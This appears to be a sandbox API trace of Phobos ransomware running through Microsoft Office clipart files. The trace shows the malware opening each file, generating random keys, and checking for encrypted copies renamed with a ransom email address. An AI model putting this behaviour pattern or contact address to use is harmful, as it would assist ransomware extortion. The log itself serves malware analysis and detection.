0xffffffff [0150.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.133] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.133] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=22356) returned 1 [0150.133] CloseHandle (hObject=0x564) returned 1 [0150.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0150.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.133] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.134] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21946) returned 1 [0150.134] CloseHandle (hObject=0x564) returned 1 [0150.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0150.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.134] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.135] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=50490) returned 1 [0150.135] CloseHandle (hObject=0x564) returned 1 [0150.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0150.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.135] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.136] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=64767) returned 1 [0150.136] CloseHandle (hObject=0x564) returned 1 [0150.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0150.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.136] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.137] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=43949) returned 1 [0150.138] CloseHandle (hObject=0x564) returned 1 [0150.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0150.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.138] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.138] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20179) returned 1 [0150.138] CloseHandle (hObject=0x564) returned 1 [0150.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220 [0150.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.139] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.139] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10192) returned 1 [0150.139] CloseHandle (hObject=0x564) returned 1 [0150.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220 [0150.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.140] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.140] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=24292) returned 1 [0150.141] CloseHandle (hObject=0x564) returned 1 [0150.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220 [0150.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.141] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.141] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8754) returned 1 [0150.141] CloseHandle (hObject=0x564) returned 1 [0150.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220 [0150.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.142] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.142] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=58258) returned 1 [0150.142] CloseHandle (hObject=0x564) returned 1 [0150.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220 [0150.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.143] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.143] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=37140) returned 1 [0150.143] CloseHandle (hObject=0x564) returned 1 [0150.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220 [0150.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.144] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.144] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6214) returned 1 [0150.144] CloseHandle (hObject=0x564) returned 1 [0150.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0150.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.144] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.145] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9744) returned 1 [0150.145] CloseHandle (hObject=0x564) returned 1 [0150.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0150.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.146] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.146] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2488) returned 1 [0150.146] CloseHandle (hObject=0x564) returned 1 [0150.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0150.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.147] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.147] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5386) returned 1 [0150.147] CloseHandle (hObject=0x564) returned 1 [0150.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0150.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.147] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.148] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3606) returned 1 [0150.148] CloseHandle (hObject=0x564) returned 1 [0150.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0150.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.148] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.149] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9154) returned 1 